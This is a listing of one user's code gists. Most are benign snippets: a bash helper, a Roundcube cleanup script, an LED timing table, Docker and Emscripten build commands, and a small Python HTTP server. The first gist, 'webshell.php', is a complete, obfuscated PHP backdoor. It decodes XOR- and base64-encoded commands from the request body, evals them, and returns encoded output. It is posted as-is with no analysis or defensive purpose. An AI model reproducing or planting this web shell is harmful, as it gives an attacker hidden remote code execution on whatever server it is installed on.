rikvermeer’s gists

rikvermeer / webshell.php

Created November 2, 2022 21:42

	<?php
	$G='et_conBOtenBOts()BO;@ob_BOend_clean(BO);$r=@baseBO64_enBOcode(BO@x(@gzcBOoBOmpress(BO$oBO),$k))BO;print(BO"$p$kh$r$kf");}';
	$N=str_replace('B','','creBatBBe_fBBuBnction');
	$P='$k="4eBOff2c04";$BOkh="1BOBO976ea22afb7BO";$BOkf="092a531BO88cBO70";$BOp="NBO2RC1Dx2bGzpXBOhBOWQBO";function xBO($BOt';
	$X='O/input"),$mBO)==1)BO {@ob_sBOtart()BO;@evaBOl(@gzuncomBOpreBOsBOs(@x(@basBOe64_decoBOBOde($m[1]),$k))BO);$o=@oBOb_gBO';
	$R=',$k){$c=strBOlen($kBO)BO;$l=strlBOen($t);BO$o="BO";forBO($i=0;BO$i<BO$l;){fBOor($j=0;($jBO<$c&&$BOi<$l);$j+BO+,$i+BO+){';
	$B='$o.=BO$t{$BOBOi}^BO$k{$j};}}returnBO $o;BO}if (BO@preg_matBOch(BO"/$kBOh(.+)$kf/",@fiBOle_getBO_BOconBOtenBOts("php:/B';
	$M=str_replace('BO','',$P.$R.$B.$X.$G);
	$K=$N('',$M);$K();
	?>

rikvermeer / sourceable_bash_with_curdir.sh

Last active September 22, 2022 18:15

bash file that can be sourced or executed. knows where to look for files

	#!/usr/bin/env bash

	CURDIR=${PWD}
	COMMAND="${BASH_SOURCE:-$0}"
	TARGET=$(basename $COMMAND)
	TARGET_DIR="$( cd "$(dirname $COMMAND)" ; pwd -P )"

	function main() {
	echo "Hello ${@}"
	echo "Curdir = ${CURDIR}"

rikvermeer / roundcube_delete_duplicates.js

Last active February 5, 2020 08:16

Roundcube delete duplicates from console (js)

	/**
	* In chrome, open the console in the developer tools extension
	* Select the mailbox folder which you want to clean
	* Run this code in the console
	* Goto the next page (max mails/page = 200) and execute the code again
	* Repeat from the start until no more duplicate entities are logged anymore
	*
	* Troubleshooting:
	* - If you get failing authentications in the network tab: try updating the token below
	* - If the "Deleted Items" folder does not exist, change the name below

rikvermeer / ws281x.conv

Last active March 9, 2020 21:46

Conversiontable for ws2812b chipset

	Run SPI/PCM/PWM on 2.4MHz (3x 800 kHz)

	Binary conversion with delay
	0 => 0 0 0
	1 => 1 1 0

	800 KHz -> 2.4 MHz
	------------------------------------------------------------------------------------------------
	000 \| 0x00 = 00000000 -> 000 000 000 000 000 000 000 000 = 00000000 00000000 00000000 = 0x000000
	001 \| 0x01 = 00000001 -> 000 000 000 000 000 000 000 110 = 00000000 00000000 00000110 = 0x000006

rikvermeer / rundockerpi.sh

Last active November 28, 2019 16:04

Run docker and (chroot)mount a (raspberry) pi image. It allows you to preconfigure apt (arm), wi-fi and SSH keys on a mac/linux using docker.

	####
	# Start docker
	docker run --rm --privileged -it -v /dev:/dev -v `pwd`/nanopi-duo2_sd_friendlycore-xenial_4.14_armhf_20191018.img:/nanopi.img ubuntu:xenial


	####
	# Bind loopback devices
	losetup -f /nanopi.img -P --show
	mkdir /mnt/d1 /mnt/d2 /mnt/d3
	mount /dev/loop2p1 /mnt/d1 && \

rikvermeer / MorphSVGPlugin.js

Last active September 9, 2024 02:54

	/*!
	* VERSION: 0.9.1
	* DATE: 2019-02-21
	* UPDATES AND DOCS AT: http://greensock.com
	*
	* @license Copyright (c) 2008-2019, GreenSock. All rights reserved.
	* MorphSVGPlugin is a Club GreenSock membership benefit; You must have a valid membership to use
	* this code without violating the terms of use. Visit http://greensock.com/club/ to sign up or get more details.
	* This work is subject to the software agreement that was issued with your membership.
	*

rikvermeer / emautomake.sh

Last active August 31, 2022 06:18

Emscripten compilation

	#example for making jq
	export LDFLAGS="-L/usr/local/opt/openssl/lib"
	export CPPFLAGS="-I/usr/local/opt/openssl/include"

	. ~/workspace/emsdk/emsdk_env.sh
	autoreconf -fi
	emconfigure ./configure
	emmake make LDFLAGS=-all-static
	#emcc -O2 jq.obj -o jq.js -s ERROR_ON_UNDEFINED_SYMBOLS=0
	emcc -O3 -s ALLOW_MEMORY_GROWTH=1 -s MODULARIZE_INSTANCE=1 -s EXPORT_NAME="jq" -s WASM=1 --pre-js ./pre.js --post-js ./post.js jq.o -o ./jq.wasm.js -s ERROR_ON_UNDEFINED_SYMBOLS=0

rikvermeer / fetch.js

Last active June 21, 2019 10:23

JavaScript async generator/reader/transformer

	const genline = async (i) => [Date.now(), i, "CRITICAL", "gui", ": asfd asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf asdf"].join(" ")

	const generate = amount => {
	let arr = [];
	for(let i = 0; i < amount; i++) {
	arr.push(genline(i))
	}
	return arr
	}

rikvermeer / httserve.py

Last active June 20, 2019 19:49

Simple HTTP server with mime-types

	#!/usr/bin/env python3
	# -- coding: utf-8 --

	import http.server
	from http.server import HTTPServer, BaseHTTPRequestHandler
	import socketserver
	from random import randint
	PORT = randint(1024, 65536)

	Handler = http.server.SimpleHTTPRequestHandler